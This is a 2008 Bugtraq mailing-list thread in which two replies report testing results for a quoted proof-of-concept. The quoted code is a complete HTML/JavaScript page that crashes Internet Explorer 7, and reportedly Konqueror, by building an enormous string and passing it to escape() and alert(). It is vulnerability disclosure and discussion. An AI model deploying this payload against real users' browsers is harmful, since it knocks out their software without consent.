Neat PoC. However, this requires the users to have configured IE to run Active-X content. On my test machines, I was prompted by the Browser before the code ran. Surprisingly, CSA never stopped it. I tested this on: Internet Explorer 7 on Windows XP 32-bit w/ Cisco Security Agent v5.0.0.176 Internet Explorer 7 on Vista 32-bit (no CSA) Thanks, Mike Pruett -----Original Message----- From: Jan van Niekerk [mailto:jvnkrk@xxxxxxxxx] Sent: Monday, September 29, 2008 10:37 PM To: UniquE@xxxxxxxxxxxxxx Cc: bugtraq@xxxxxxxxxxxxxxxxx Subject: Re: MS Internet Explorer 7 Denial Of Service Exploit This DOS works quite nicely on Konqueror / KDE 3.5.9 too. jv. On 29 Sep 2008 19:59:55 -0000, UniquE@xxxxxxxxxxxxxx <UniquE@xxxxxxxxxxxxxx> wrote: > <!-- > > MS Internet Explorer 7 Denial Of Service Exploit > > Type : > > Denial Of Service > > Release Date : > > {2007-09-29} > > Product / Vendor : > > Microsoft > > http://www.Microsoft.com > > MS Internet Explorer 7 Denial Of Service Exploit : > > --> > > <title>MS Internet Explorer 7 Denial Of Service Exploit</title> > <body bgcolor="#000000"> <br> <br> <center><font face="Verdana" > size="2" color="#FF0000"><b>MS Internet Explorer 7 Denial Of Service > Exploit</b></font></center> <br> <center><img > src="http://img81.imageshack.us/img81/8881/wallpaperxl0.jpg";></center> > <br> > <html> > <script> > var x=String.fromCharCode(550); > var x2=""; > var x3=""; > for(i=0;i<1549;i++) > {x2=x2+x;} > for(i=0;i<1549;i++) > {x3=x3+x2;} > var x4=x; > for(i=0;i<105;i++) x4 += x4; > for(i=0;i<165;i++) x4 += x3; > var wildboy=escape(x4); > alert(wildboy); > </script> > </html> > <center><font face="Verdana" size="2" color="#FF0000"><b>WiLdBoY > a.k.a UniquE-Key{UniquE-Cracker} n.s.n Mert KAYALAR</b></font> <br> > <font face="Verdana" size="2" > color="#FF0000"><b>UniquE@xxxxxxxxxxxxxx</b></font> > <br> > <font face="Verdana" size="2" color="#FF0000"><b>-Software > Hunter-</b></font></center> > > <!-- > > Tested : > > MS Internet Explorer 7 > > Vulnerable : > > MS Internet Explorer 6 > > MS Internet Explorer 5 > > Author : > > WiLdBoY also known as UniquE-Key N.S.N Mert KAYALAR > UniquE[at]UniquE-Key[dot]ORG -Software Hunter- > > --> >
![http://img81.imageshack.us/img81/8881/wallpaperxl0.jpg"](http://img81.imageshack.us/img81/8881/wallpaperxl0.jpg"){kind=link}
